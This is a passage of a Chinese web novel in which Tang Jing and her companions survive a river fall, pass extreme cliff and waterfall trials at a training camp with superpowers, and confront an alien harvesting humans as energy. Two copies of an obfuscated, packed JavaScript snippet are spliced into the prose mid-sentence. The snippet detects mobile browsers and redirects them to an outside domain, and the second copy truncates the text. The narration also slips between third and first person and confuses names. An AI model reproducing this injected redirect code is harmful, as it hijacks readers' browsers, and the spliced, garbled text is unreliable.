借着这一缓,伊峰秋又是一掌挥出,随即唐镜就感觉到身体突然斜了一下,往河道的方向移了移。 伊峰秋连连挥臂,反弹回来的力道推着两人不断在下坠中斜飘向河道,身体竟然硬生生斜移了七八米,对着水面俯冲下去。 “噗!”伊峰秋忽然喷出一口鲜血。 唐镜的脸正对着河水,清清楚楚看见鲜血在河水里铺开,随水流出一条血路。 这一瞬间,她已经忘了自己的脸这样直接砸到水面,会不会鼻梁骨折,会不会头破血流,会不会直接毁容。 只要伊峰秋好好的,这张脸不要也罢! 眼前一黑,唐镜整个脑袋被紧紧抱在怀里,鼻端全是那熟悉的男人气息,夹杂着淡淡的血腥气。 “噗通!”河水四溅,两人掉进了河水里。 冰冷河水的刺激下,唐镜猛然一个激灵,头一抬,就离开了伊峰秋的怀抱,勉力睁开眼睛。 伊峰秋似乎已经晕过去了,他在掉下河面的瞬间,用那只挥拳的手臂把唐镜的头按进怀里,此时他手就垂到了一边。 本来环住唐镜的手臂和腰的手,也已经松了开来。 唐镜勉强睁开眼睛,看见伊峰秋脸色雪白,双眼紧闭,已经晕了过去。 水流湍急,如果不是那些细丝如网般缠绕住两人,恐怕落水之后,两人就会被冲散。 想到最后那一刻,伊峰秋抱住她,用身体护住她头脸的动作,唐镜心里说不出来是什么滋味。 她闭上眼睛,把眼泪逼回去,这个时候,得赶紧想办法上岸,伊峰秋伤势不轻,在这水里泡下去可不行。 她上前想要抓住他,想在湍急的河水中,尽量能拖着他一起靠向岸边。 可是心急之下,却忘了一个道理,溺水的人遇见来救人的人,往往会把对方拖住。 也许是出于本能,伊峰秋虽然意识不清,可是当她抓住他的时候,他却反手一把抱住了我,唐镜一个猝不及防,连喝了好几口水,想要挣脱他,可是哪里有他的力气大,直接被拖往水底。 难不成逃过被摔成肉泥的命运,却要在这个时候,被冤屈的溺死? 唐镜心一狠,双手往下一滑,直接搂住他的腰,脸凑上去,狠狠咬住伊峰秋的嘴唇…… 伊峰秋的唇冰凉,有点软,有点Q,咬起来有点像果冻,还是那种非常非常好吃的果冻…… 而他的腰,劲瘦结实,手搂上去,是一个顺滑完美的弧度,即使隔着衣服,都能感觉到肌肉惊人的弹性…… 在这样的生死关头,唐镜脑海里居然还会浮现出了这么一堆有的没的,她都不知道是该鄙视自己,还是该佩服自己。 几乎是在一瞬间,伊峰秋睁开了眼睛。 四目相对,他深邃的眸子,先是有点茫然,仿佛有些搞不清楚状况,可是很快他就反应过来了,瞳孔先是收缩随后又扩大,仿佛受到了惊吓,又仿佛是紧张过头。 同时,他的身体也瞬间绷紧,僵硬的像块木头。 下一刻,也不知道他是怎么做到的,在这样湍急的河水里,身体竟然猛的拔起,冲了上去。 而唐镜挂在他身上,就像只八爪鱼。 哗啦一声,河面上飞溅起一蓬水花,两人从从水花中间冲出来,重重跌在了河岸上。 落下时的冲力,让唐镜手臂一震,不由自主的松开了伊峰秋的腰,向旁边翻滚了一下,被裹在身上的那些细丝一勒,又被扯回来,撞到伊峰秋身上。 解开细丝后,两个人趴在岸上,脱离险境,心神一松,整个人就像放空的气球,软绵绵瘫在那里,一动都不想动。 两个人在岸边待了足足七天,好在这里飞禽走兽很多,不缺吃的,伊峰秋身上的伤也都好起来。 第八天早上,头顶突然响起大鹰的啸声,与此同时,越野车的轰鸣夹杂着阿虎的大笑声:“伊峰秋,我就知道,你肯定活着!” …… 越野车在崎岖的河滩上轰鸣,阿虎驾车,伊峰秋坐在副驾驶位置上,两个人时不时低声交谈。 唐镜靠在后排座位上,闭目养神,抓紧时间休息,越野车会直接送她去训练营,郑落落和齐修已经在训练营里开始训练了。 两个小时后,越野车停了下来,前面就是训练营的大门。 大门紧闭,看不见训练营里面的情况,但是能听到,不时传来嘶吼声,以及压抑着的惨叫声。 伊峰秋推开车门,跳下车,拉开后面的车门,示意唐镜下来。 阿虎坐在驾驶室位置上,吹了声口哨 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大门外面,越野车的轰鸣声,渐渐远去。 唐镜到了训练营,连一分钟的喘息机会都没有,换上训练服,直接被塞进直升飞机,送去今天的训练地点。 整个训练基地的范围,大的超出想象。 训练基地位于山脉深处,依托地势而建,三分人工,七分天然,里面不仅山有谷,有沟有壑,还有断崖瀑布,沼泽河流。 可以说,凡是能想象到的恶劣自然环境,都能在这里找到。 直升飞机把唐镜送到一处断崖上,也就是今天的训练课程所在地。 断崖又高又陡,崖顶约莫有半个足球场大小,这一期的学员都在崖顶,当唐镜从直升飞机上下来的时候,看到他们盯着崖边,神情紧张,如临大敌。 郑落落和齐修站在最外围。 郑落落狠狠给了唐镜一个眼刀子,要不是正在训练期间,她肯定会跑过来,抓住唐镜的肩膀乱晃一阵。 齐修穿了一身紧身丛林迷彩作战服,像一座玉雕般精致安静,没想到他那样雅致清逸的人,穿上作战服,不但没有格格不入的感觉,反而平添三分英气。 他澄澈的目光停留在唐镜身上,似是在打量她,又似在回忆什么,只是很快就收回目光,垂下眼帘,好像又重新回到自己的世界,神游去了。 齐修还是老样子。 看来训练营的这九天,没给他带了什么改变。 不过,至少他也没变的更坏,唐镜也不知道是该高兴还是该沮丧。 飞鹰穿着一身黑色紧身作战服,双手负在背后,站在崖边,神情漠然,只用眼角余光扫了唐镜一眼,就收回了目光。 那只大鹰在断崖上方盘旋。 唐镜刚在直升飞机上的时候,看得分明,这断崖近乎垂直,也不知道有多高,下面云雾环绕,根本看不见底。 飞鹰站在崖边,风吹得他衣服猎猎作响,可是他双脚就像生了根,身体纹丝不动。 那些学员距离崖边还有一段距离,却已被风吹得有些立足不稳,有两个弱一点的,走路都有些东倒西歪,好像随时都会被风吹走。 飞鹰发出口令,学员迎着风,艰难的走到他旁边,面对断崖,排成一列,显然,训练即将开始。 唐镜赶紧跑上去,站在最后一个,齐修在她前面,郑落落在齐修前面。 飞鹰:“跳下去,落到崖底,后天中午十二点前,能回到这里的,这堂课就算过关。” 站在第一的学员面色瞬间变得苍白,可是却没有半分犹豫,唰的一下就往断崖下跳去,显然,他没得选择。 第二个学员在崖边犹豫了三秒钟,就被飞鹰一脚踹了下去。 接下来,一个接一个,学员们往崖底跳去。 如果不是有过前面那些经历,唐镜估计自己跳下断崖,不死也得筋断骨折。 她跟在齐修后面,跳下断崖。 断崖直上直下,近乎九十度垂直,崖壁上长着稀疏的藤蔓,也有零散的小树从崖壁上探出。 唐镜看见郑落落在跳下去的瞬间,从腰间抽出一条软鞭,唰的一鞭子挥出去,鞭梢缠住一块突出的崖壁,身体瞬间顿住,随即双脚往崖壁上一蹬,脚尖已经踩进了一条缝隙里。 随即,她鞭子一松,看准下方一棵探出的小树,鞭梢挥出,缠在手腕粗的树干上,整个人顺势往下滑去。 就这样,借助软鞭的帮助,一点一点往下落去。 没想到,只是七天不见,郑落落居然有了脱胎换骨般的变化,唐镜可以想象,她在这七天里吃了多少苦头。 齐修在跳下断崖的时候,还是一副神游的模样,但是落到二十多米的时候,他像是突然大梦初醒,伸了个懒腰,随手一抓,手掌里面竟然凭空出现一截爬山虎! 碧绿的爬山虎,叶子上还带着露水。 他把爬山虎往崖壁上一甩,只见爬山虎以肉眼可见的速度生长,根系就像壁虎的小爪子,随着爬山虎的生长,一个又一个小爪子冒出来,攀住崖壁。 随着齐修身体不断往下坠,爬山虎不断延长,繁茂,一个有一个的小爪子被他下坠的力量,从崖壁上扯脱,但是后面长出来的爬山虎的根系,依旧顽强的攀住崖壁。 齐修下坠的速度越来越慢,他就像手里拿了一支毛笔,在崖壁上写下浓绿的一竖。 这些天来,伊峰秋给唐镜讲过一些能力域的知识,并且亲自训练她的身手,此时看到齐修展现出的这神奇一幕,她脑海中电光火石一闪。 他能操控植物,他开启了灵能域! 无数念头在唐镜脑海里此起彼伏,不过却丝毫不影响她的身手,下坠的速度虽然快,她却能清楚的看到,崖壁上每一个可以让我抓住的藤蔓、小树、凸起。 感谢伊峰秋在那七天里,对她严苛到了一丝不苟的训练。 只不过,即使有七天的训练垫底,这依然是一场严酷的考验。 唐镜双手交替,抓着崖壁上每一个可供她攀抓的地方,她不是往崖底摔落,而是主动借助崖壁的地形,如一只灵活的猴子,贴着崖壁,不断向下。 …… 51. 第 51 章 日影西斜的时候,郑落落、齐修和唐镜,几乎是同时到了崖底。 脚一踩到实地,唐镜砰的一下倒在地上,大口大口喘气,体力已经消耗殆尽,就像那七天被伊峰秋训练时的情形一模一样。 她心里突然涌起一股强烈的思念之情。 伊峰秋现在在做什么呢? 砰! 砰! 郑落落和齐修也倒在了一边,大口喘息,显然,他俩的情况和唐镜差不多,已经到了身体的极限,体力完全透支。 在她们三个人之前,有至少五个学员到了崖底,此时有两个倒在不远处的地上,情形和我们三个差不多,还有两个,已经没了踪影,可能是隐匿了行踪。 这一期学员,果然藏龙卧虎,不能掉以轻心。 歇了一会,唐镜才艰难的扭动脖子,朝郑落落看去,她也正扭头看过来。 两人相视一笑,不需要多说什么,都已经明白,自从基因解锁后,彼此都已经发生了天翻地覆的改变。 训练服的背心口袋里,放着三管金风玉露膏,是三天的量。 尽管此时动一根手指,都像是在经历酷刑,可是三个人还是用发抖的手指,摸出一管金风玉露膏,抖抖簌簌的送到嘴边,艰难的吃下去。 好不容易吃完一管,才感觉恢复了一点对身体的控制权。 休息了十分钟,三个人迅速离开崖底,趁天黑之前,要先找到一个安全的过夜地点。 这崖底人迹罕至,也不知道藏了多少毒虫猛兽,以三人现在的身手,虽然不会把这些危险放在心上,可是还是得尽量节省体力,好能在截止时间之前,回到崖顶。 从崖顶下来的时候,唐镜就发现,原路返回,顺着崖壁攀上去,即使能做到,但是时间也肯定来不及,除非长了翅膀飞上去。 所以,必须得找到另外的路线回去才行。 三个人用最快的时间,在崖底转了一圈,两边都是陡峭的崖壁,丛林和灌木顺着谷底蔓延开去。 下来的崖壁对面,那座同样陡峭的山崖,有飞瀑倾泻而下,山崖下面,是一条弯弯绕绕的溪水,沿着崖底向外流去。 观察完崖底的情形,天已经黑下来。 三个人分头去找适合过夜的地点,得益于那七天的野外生活,唐镜很快就找到了一个合适的露宿地方。 那是两棵长在溪边的大树,树干斜斜探出去,大半个树身都临空在溪水上面,树枝纠缠在一起,就像一顶大伞。 唐镜通知了郑落落和齐修,扯了些干燥的藤蔓,在树冠上铺成一个大网,三个人往网上一躺,就跟睡在吊床上一样。 不管是猛兽还是有什么人,想要袭击三人,必须先爬上树干,以唐镜现在的感知域能力,只要来者碰触到树干,引起的震动再微小,都会被察觉。 月上中天,野兽没有来找三人的麻烦,袭击她们的,是一起参加培训的学员。 大概是因为两边崖壁挡住了山野里的风,所以崖底听不到风声,夜晚就显得分外静谧,唐镜的身体已经进入沉睡状态,每一个细胞都在修复和生长,而她的意识,则进入到一种深沉的冥想状态中。 唐镜能感觉到,郑落落和齐修细微悠长的呼吸声,也能感觉到,野兽在溪边喝水的动静,也能感觉到,不远处,有别的受训会员,低低的鼾声。 可是有几个地方,她的意识蔓延过去的时候,就像是黑洞,没有任何感受。 唐镜知道,这是有人用强大的精神力,把她的意识隔绝在外,隐身在此的,应该就是那几个实力出众的神秘会员。 一夜无话。 第一缕晨光亮起来的时候,三个人已经离开树冠,逆着谷底的山溪往上走去。 溪水边没有路,都是丛生的灌木丛,齐腰高的野草,还有一些枝叶虬结的大树。齐修走在最前面,郑落落走在中间,唐镜殿后。 周围很安静,只有溪水的潺潺声,看不到其余学员的踪影,可是三个人并没有掉以轻心。 唐镜边走边感应着周围的情况,并没有什么异样,可总觉得气氛有些古怪,因为从出发到现在,已经走了有半个多小时,却没有发现一只小动物。 这不正常! 至少昨天晚上,还有野兽来溪边饮水。 这样一个人迹罕至的崖底,应该生存着各种野兽才对。 而且,唐镜总觉得,冥冥之中,似乎有什么东西在注视着她们三个人,这种感觉让我不舒服,可她放开六感却捕捉不到任何信息。 齐修边走边动用他的元素域能力,分开那些绕不开,跨不过的灌木,走了约莫一个多小时,地势开始慢慢变高,旁边的溪水,因为落差变大,也开始变得湍急起来。 这是一个好兆头,证明她们选择的路线,是在缩小接近崖底的距离。 就在这时候,前方突然传来短促尖利的惨叫声。 这声音唐镜并不陌生,因为这声音,发自训练营中的一个学员,就是那天跟江夷叫板,结果被拾掇的很惨的那个大块头! 唐镜和郑落落对视一眼,她给齐修做了个手势,然后三个人散开呈扇形,向惨叫声发出的地方潜去。 在灌木丛和野草中穿行,唐镜总感觉,冥冥之中,似乎有一双眼睛盯着她,她放开六感去探察,却又没有什么发现,只能心中暗自警觉。 转过一棵奇形怪状的大树,唐镜看到了那个大块头,倏然一惊,停下脚步。 他的身上,爬着密密麻麻的红蚁,就像被红色的水覆盖! 大块头在地上不断翻滚,惨叫声越来越弱。 唐镜看得清楚,那些红蚁比平常蚂蚁大了两倍多,身上还有翅膀,它们撕咬着训练服,从袖口衣领里面往里钻。 特制的训练服,虽然不是那么容易被弄坏,但是架不住红蚁数量多,很快就出现了一些破口。 不远处郑落落和齐修也看到了这一幕。 郑落落脸上露出想要呕吐的表情,齐修手指指向朝红蚁,有火星在红蚁身上燃起,空气中传来被烧焦的臭味。 红蚁显然也察觉到了三个人的到来,一部分突然从大块头身上飞起,分成三股,就像三束红色的水柱扑过来。 它们飞不高,顶多离地面有一米多高,可是速度却极快,几乎是转眼之间,就到了唐镜面前。 唐镜不假思索,闪电般向侧面蹿出去,避开它们的正面袭击,随手折下一截繁茂的树枝,狠狠扇向扑来的红蚁。 与此同时,郑落落的软鞭已经出手,舞出一团光影,红蚁撞到光影上,纷纷被弹飞出去,可是这红蚁好强韧的生命力,软鞭那么大的力道,也只是被弹飞,空中稳住身形,翅膀一振,再次扑回来。 只有齐修操纵火元素,无数火星在红蚁群里燃起,将水柱般的蚁群烧得七零八落。 大块头身上的红蚁数量减少,他挣扎着爬起来,双手疯狂拍打着身上的红蚁,跌跌撞撞往溪水边跑去,噗通跳进水里。 蚁群就像薄薄的红雾,瞬间从他身上飞起,显然红蚁怕水。 放过大块头的红蚁,一分为二,向唐镜和郑落落扑来。这红蚁仿佛有意识一般,知道齐修那里不好对付,竟然全力围攻唐镜和郑落落。 齐修手指一弹,唐镜手里拿着的那截树枝突然燃烧起来,红蚁撞到上面,立刻被点燃,变成一点点米粒大小的火星,散发着烧焦的臭味,落在地上。 郑落落一边挥舞软鞭,一边退到溪水边,软鞭鞭梢啪的打在水面,卷起一道水幕,裹住扑来的红蚁,把它们扫向水中。 不一会,红蚁已经变得七零八落,溃不成群,它们突然后退,聚集在一起,如一片红雾,只是面积减少了三分之二,随着嗡嗡声,消失在灌木丛里。 唐镜和郑落落心有余悸看着红蚁消失的方向,齐修神色没什么变化,但是从他布满汗珠的额头,也可以看出,他绝不轻松。 大块头已经从溪水里狼狈的爬出来,他身上的训练服已经千疮百孔,湿淋淋的贴在身上,露出的皮肤上,全是丝丝血点,而且颜色鲜艳的瘆人,显然红蚁在伤口里注入了毒素。 不过看大块头的样子,倒是并不在意外伤,而且他的皮肤,隐隐泛着金属光泽,他基因解锁后,应该是强化了身体的物理防御能力。 大块头只是朝三个人拱了拱手,瓮声瓮气的说:“谢了。” 随后,他就快步离开,消失在灌木丛里。 三人并没有急着离开,找了块干燥的大石坐下,稍微休整了一下,整理了一下思绪。 看来,要想离开崖底,重回到崖底,并不仅仅是找到出路那么简单,除了那些诡异的红蚁,还会不会有什么别的危险? 不管这崖底潜伏着多少不可知的危险,唐镜始终相信一点,那就是,这些危险,一定是她们能够应付的。 以她和飞鹰江夷等人打交道的经验,以及在河岸边,被伊峰秋特训的那七天,她隐约能摸到天一馆的训练思路,那就是,他们的训练,是为了逼迫出人的潜能。 换句话说,他们安排的训练内容,是把强度和压力,无限接近崩溃的临界点,但是只要自己不放弃,那么肯定就能通过。 所以,她唯一要做,唯一能做的,就是拼尽全力! …… 正午的阳光明亮炽热,崖底的丛林却陷入诡异的安静中,微风吹过树叶,枝叶发出簌簌的声音,像是正在窃窃私语。 唐镜心里知道,这里就像暗潮涌动的深海,海面的平静,掩盖着无数涌动的暗流,训练营的每一个人,正无声无息的穿行其中。 不出所料,除了开始的火蚁,接下来,经过了遍布食人藤的密林,越过一片鳄鱼聚集的沼泽。 走出这些地方,三个人都已经筋疲力尽,但是时间不容许她们停下来,完全是凭着骨子里的一股狠劲,才继续迈着机械麻木的腿,向前向前。 地势越来越高,也越来越难走,除了灌木丛,还出现了崎岖的乱石,溪水的范围也渐渐扩大,唐镜甚至怀疑,再往上走,我们只能在水里跋涉了。 日影西斜的时候,三个人停下了脚步,看着前方那一大片白茫茫的水帘。 前面已经是谷底的尽头,地势陡然拔高,是一片垂直的断崖,瀑布从断崖顶上倾泻下来,注入到下方的水潭,又从水潭漫出,沿着谷底往下流去,形成那片山溪。 断崖上方,有一个缓坡,缓坡另外一头,连着她们跳下来的山崖东侧! 也就是说,她们相当于绕着山崖,转了大半圈。 只要三人能逆着瀑布爬到断崖上,就可以回到崖底,完成这次的训练内容! 瀑布里,隐约能看到几个人影,已经有人想办法沿着瀑布向上爬了,可是,水流的冲击太大了,不时有人被水冲下来。 三个人找了棵大树,在树下坐下来,先补充了营养素和水,这才开始商量,怎样才能爬上去。 断崖不高,目测只有七层楼高,可是要逆着瀑布往上爬,而且常年的水流冲击,崖壁必然是非常湿滑,很难借力。 更何况,天色已经昏暗下来,要在晚上爬上去,更是难上加难。 齐修看着瀑布,淡淡说:“我有办法。” 唐镜和郑落落听完他提出的办法,先是目瞪口呆,随后面面相觑,觉得他未免有些异想天开,可是想来想去,绞尽脑汁,发现在这种情况下,也只能按照他的提议行动。 既然做了决定,唐镜和郑落落也不再纠结,吃完最后一管金风玉露膏,补充了足够的水分,就开始闭目养神。 等到月上中天的时候,我们已经做好了准备,紧了紧衣服,一起向瀑布走去,月光下,瀑布如同一道玉帘,在崖壁上熠熠生辉。 齐修的肩膀上,扛着一捆系好的藤条,约莫有六七米多长。 在距离瀑布还有二十米远的地方,唐镜停了下来,溪水已经淹没到膝盖,冰冷刺骨,可她完全感觉不到水中的寒意,只接过藤条,把一头系在腰上,剩下的挂在肩膀上,手里握着另外一头。 郑落落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234679|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“小镜,准备好了吗?” 唐镜点点头,觉得嗓子有些发干,全身细胞都因为紧张而发热,成败就在此一举。 齐修和郑落落继续往前走去,在走到距离瀑布还有十米远的地方,郑落落停了下来,齐修一个人继续往前走,直到距离瀑布还有三米远的地方,他才停下来,这个时候,水已经齐腰深了。 齐修回头,澄澈的眸子看着唐镜,轻轻点了点头。 唐镜深深吸一口气,开始往瀑布的方向奔跑,越跑越快,跑到郑落落身后的时候,她猛然跃起,郑落落同时一躬身,双手在她脚底一托,用尽全身力气,把她抛向齐修。 齐修只是微一矮身,唐镜脚尖踩在他肩膀上,只觉脚底一股大力传来,身体再次向着瀑布拔高。 与此同时,齐修操纵一股水流,瞬间凝结成冰柱,从瀑布中间探出来,正好托住唐镜的脚。 唐镜用力一蹬,冰柱咔嚓断裂,她的身体皆势拔高了两米,距离瀑布顶端只剩下五米多的距离。 齐修忽然一声清啸,断崖顶端的水流上突然凝出一根手腕粗细的小小冰柱。 唐镜手里的藤条已经甩出去,缠在冰柱上,身体同时被瀑布冲的往下一沉,可是藤蔓拽住了她的身体。 她的重量加瀑布的冲击,冰柱上立刻出现裂纹。 齐修又是一声清啸,嘴角沁出血色,冰柱上的裂纹不再开裂。 唐镜双手抓着藤蔓,迎着瀑布的冲击,调动所有的感官,避开水流最猛的地方,一点一点往崖顶爬去。 瀑布的冲击中,她就像一片树叶,摇摇欲坠,双脚蹬到崖壁,只觉湿滑无比,根本无从借力,只能凭着手臂的力量,硬往上挪动。 唐镜脑子里唯一的想法,就是无论如何,要在冰柱断裂之前爬上去! 也不知道过了多久,她终于爬上崖顶,当脚蹬上崖顶实地的一瞬间,冰柱唰的碎裂成了粉末。 与此同时,下面的齐修喷出一口鲜血,仰面向后倒去,所幸郑落落在他身侧,扶住了他。 唐镜看着越来越黯淡的月光,不敢多耽误,靠着过人的目力,很快在崖顶上找到一块足够结实的石头,把藤蔓在石头上绕了一圈,又在旁边扯下几根结实的藤蔓,系在这根藤蔓上,另外一头垂向崖底。 郑落落用藤蔓系住齐修的腰,示意先把他拽上去。 瀑布冲刷着齐修的身体,有如千斤重,如果不是那几天的训练,唐镜觉得自己根本不可能把他拉上来。 等到把郑落落拉上来的时候,唐镜的双手手心已经血肉模糊,整个人已经彻底脱力,躺在地上,只能大口喘着粗气,无法动弹。 三个人中,只剩郑落落还保存着一点体力,她看了看已经泛白的东方天际,唰唰砍下几根树枝,藤蔓一编,做了个简易的雪橇,把唐镜和齐修放到上面,拉着两人往缓坡上爬去…… 唐镜不知道三个人是怎么赶过去的,只知道,当她看见站在崖顶的飞鹰时,脑海里只剩下一个念头“我可以放心的晕过去了”。 等她再次醒来的时候,已经躺在床上了。 这是训练营给学员提供的房间,里面除了一张床,一张桌子,一个柜子外,再没有别的家具。 窗户外面是沉沉的夜色,唐镜不知道自己昏睡了多久,只知道现在自己饥肠辘辘,恨不得能吃下一头牛去。 桌子上放着两管金风玉露膏和一些高热量的饭菜,她挣扎着从床上爬起来,四肢的肌肉还在不受控制的痉挛,从床边到桌子之间,不过两米距离,竟然挪动了十分钟,才走到桌边。 吃完两管金风玉露膏,又把饭菜一扫而光,这才感觉舒服了点。 唐镜又一头栽倒在床上,沉沉睡去。 再次醒来,已经是天光微亮,没有太多的休整时间就开始了新的训练。 看见郑落落和齐修重新出现面前,唐镜心里还是非常高兴的,可是并没有多少时间交流,当然,也有两个学员,因为没有通过训练,被淘汰了。 没人关心被淘汰的学员,因为每个人都自顾不暇。 因为接下来的训练,越来越严格。 飞鹰和江夷根据每名学员的能力,制定了不同的训练量和训练内容,一天下来,刚好累到筋疲力尽的程度,除了倒在床上睡觉,其余什么事情都不想干。 训练项目仿佛无穷无尽。 要完成各式花样翻新的训练,必须意志足够坚强,因为这些内容,刚好达到每个人的极限,如果有一丝一毫的松懈,就达不到规定的标准。 在这样不断冲击极限的训练强度下,陆陆续续有学员开启了基因锁。 其中有两个学员,在基因解锁的过程中,因为极度的痛苦而失控,在训练场上翻滚不停,一边嚎叫一边撕扯着自己的身体,仿佛要把自己撕碎。 一直过了好几个小时,他们的嚎叫声才渐渐低下来。 其中一个人虚弱之极,躺在地上,身上的衣服都成了碎片,露出的皮肤上到处血肉模糊,但是他还能保持清醒,不断的喘气。 助理教练上来把他抬下去治疗身体的伤口,虽然外伤很重,但是至少他顺利捱过了基因解锁这一道关口。 另外一个人则彻底崩溃了,摊在地上不断抽搐着,发出傻笑声。 另外的助理教练直接把崩溃了的学员送出了训练营,至于他被送到了哪里,下场如何,没有人会关心。 这段时间唐镜没有伊峰秋的消息,训练营里不准带手机,况且就算有手机,也没有信号。 不过这么辛苦的训练,她连思念伊峰秋的力气也没了。 …… 不知不觉,这一期的训练终于结束了,包括唐镜,郑落落和伊峰秋在内,只有九个人最终通过了所有的训练。 …… 伊峰秋开车来接唐镜、郑落落和伊峰秋,回到市区后,先去了许小三那里,摆了庆功宴,给三人接风洗尘。 坐在包厢里,唐镜竟然有种恍若隔世的感觉。 …… 52. 第 52 章 半个月后,喜马拉雅山脚下。 连成一片的巨大山脉,山顶上白雪皑皑,天空仿佛触手可及。 唐镜、伊峰秋、郑落落和齐修四个人,只用了一天时间,就攀上了最高山峰的峰顶。 伊峰秋一拳打向一块裸露的岩石,随即,黑暗笼罩了一切,约莫几秒钟之后,柔和的白光亮起,四个人已经置身在一个巨大的山洞里。 山洞足足有两三个足球场那么大,柔和的白光照亮了整个空间,却找不到光源在哪里。 地上是柔和的白光,泛着水纹般的涟漪,而山洞的四壁,贴着数百个,有人那么高的“鸭蛋”,蛋壳近乎透明,光滑如玉,像水晶,却比水晶更清透,也不知道是什么材质。 唐镜盯着“鸭蛋”,透明的蛋壳里面,泡着类似鸡蛋清那样的液体,液体中间,悬浮着蜷缩的人体! 这就是第一批莫纳星人建立的秘密基地吗? 突然,一个巨大的泡泡凭空出现,悬浮在四人面前,里面站着那个黑发黑眸的男人。 正是去训练营找齐修,后来被阿虎伊峰秋等四人联手赶跑的那个人。 他站在泡泡里,神色不定,似乎很惊讶竟然有人闯到这里。 唐镜盯着那些“鸭蛋”,从她的角度,看不到那些人的脸,也判断不出那些人是死是活。 即使经历了那么多诡异的事情,她心里却还是忍不住发毛:“喂,那都是些什么东西?你是在孵蛋吗?” 黑眸男人面无表情:“欢迎自投罗网。” 他手指在虚空中点了几下,就像是在按键盘,一道柔光闪过,四人面前突然出现了一张圆桌。 随后,一个穿着白色制服,五官俊美,却没什么表情的年轻男人端着个托盘,出现在大厅里,一步一步,走到桌子面前,放下手里托盘。 四人这才发现,这个年轻男人只是个全息影像罢了,只是太逼真了,如果不是走近了,压根分不出真假。 托盘上放着四个汉堡包,四杯水。 “有没有搞错啊,就给我们吃这个?好歹我们也算是个人。”郑落落瞥了眼汉堡包,没好气的说。 “你的体重50公斤,每日人体必需蛋白质50克,碳水100克,以及若干微量元素,这个汉堡包的能量已经满足了你这具身体所需。”黑眸男人面无表情的说。 “这就是你对食物的定义?满足人体所需?拜托,你懂不懂什么叫口腹之欲?什么叫食色性也?”郑落落做了个鄙视的表情,随后又强调了一句,“另外,我的体重是49公斤,不是50公斤!” “50公斤,扫描过你的体重,才会调配好相应的能量。”黑眸男人说道。 “啊,一定是最近吃的太好了,所以才会长胖……”郑落落仿佛忘了自己身处险地,开始担心起体重来,“要不,你给我换份减肥餐吧。” 黑眸男人的额头,开始冒出黑线,显然失去了耐心,瞪着郑落落,心想这个女人的脑子里到底都装着些什么,在这种情况下,心心念念的居然是什么减肥,什么体重! 她难道不害怕吗?不为她的生死担忧吗? 真把自己当座上宾了?可笑! 黑眸男人冷哼一声,没有理会她的问题,手指在面前的虚空中点了点,随即,他面前出现了一个光屏。 光屏上伸出五根细如发丝的光线,穿过泡壁,延伸到最近的五个“鸭蛋”上。 接下来的情景,让四人顿觉毛骨悚然。 只见那五个“鸭蛋”里的人,以肉眼可见的速度慢慢变得透明,随后彻底消失在“蛋清”里。 而那些浸泡人体的“蛋清”开始变成淡淡的雾气,慢慢消失不见,只剩下五个透明的空壳,没有了人体和蛋清的填充,空壳从鸭蛋形状变成圆形。 就像五个透明的气泡。 接下,五个空壳离开了墙壁,如气泡般慢慢飘向屋顶。 当气泡碰到屋顶的时候,就如肥皂泡般碎裂开来,消失的无影无踪。 四人神色微变。 黑眸男人冷笑道:“这就是你们这些低级碳基生命,唯一的用处,做为能量来源。” 什么? “汽油燃烧,化学能转为热能,给汽车提供能量,碳基生命,也可以转化为另外一种能量。” “你把我们地球人当成汽油?” 唐镜模模糊糊猜想到了什么,只觉得,汽油还不够形象,那些“鸭蛋”更像是电池,等到电池里的电量用完了,电池也就报废了。 地球人被莫纳星人做成电池? 她想到这里,忍不住打了个寒噤,只觉得毛骨悚然,往后一步一步退去,只想离黑眸男人越远越好。 伊峰秋上前一步,站在三人之前,和黑发男人遥遥相对。 房间里突然有风起,有雪落。 龙卷风拔地而起,数十米高的漩涡瞬间淹没了伊峰秋和黑眸男人,而被风裹挟着的雪花,突然变得比刀片还要锋利! 像有无形的屏障,把唐镜、郑落落和齐修隔绝在风雪之外。 风雪呼啸,伊峰秋立在风雪之中,雪花始终只在他身周半尺之外徘徊,再也无法靠近分毫。 他的衣服甚至都没有一丝波动。 对面,同样被裹挟在风雪龙卷里的透明泡泡,表面有淡淡柔光流转,雪花在碰到泡泡表面时,竟然变成了小小的火焰,极亮之后又瞬间湮灭。 伊峰秋忽然跃起,如利箭重重撞在泡泡上,黑眸男人的黑发和长袍无风自动,他眼中闪过一抹讶然之色。 下一个瞬间,也不知道怎么回事,伊峰秋竟然出现在了泡泡中,稳稳悬浮在其中,和黑眸男人相对而立。 黑眸男人脸上神情变幻莫测,沉默良久,他才开口说话,语气有些阴沉:“你怎么能进基地,又是怎么知道能进时空之泡?” 原来这个透明泡泡,叫做时空之泡。 伊峰秋没有说话,这当然是在齐家老宅后山见到莫姑娘留下的分身时,莫姑娘告诉他的,只是他没必要告诉黑眸男人。 “如果我现在毁了时空之泡,你觉得怎么样?”伊峰秋冷笑。 黑眸男人脸色陡变,刚才伊峰秋冲进时空之泡,已经出乎他的意料,如今他说要毁了时空之泡,他竟然信了几分。 他无法离开时空之泡,如果时空之泡真的毁了,他会彻底湮灭在时空乱流中,当然,伊峰秋自己也会尸骨无存。 他竟然用同归于尽来威胁他! 黑眸男人的脸色越来越阴沉,活得越久,越怕死,而且死在地球人的手里,他无论如何都不能接受这样的结局。 “这里的人,都是被你掳到这里,变成为你提供能量的原料?”伊峰秋的语气变得森冷。 黑眸男人:“碳基生命转化为能量态的生命,是一次生命形态的跃迁,从低级到高级,哪怕只能存在几秒钟,也是他们的荣幸。” “放屁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 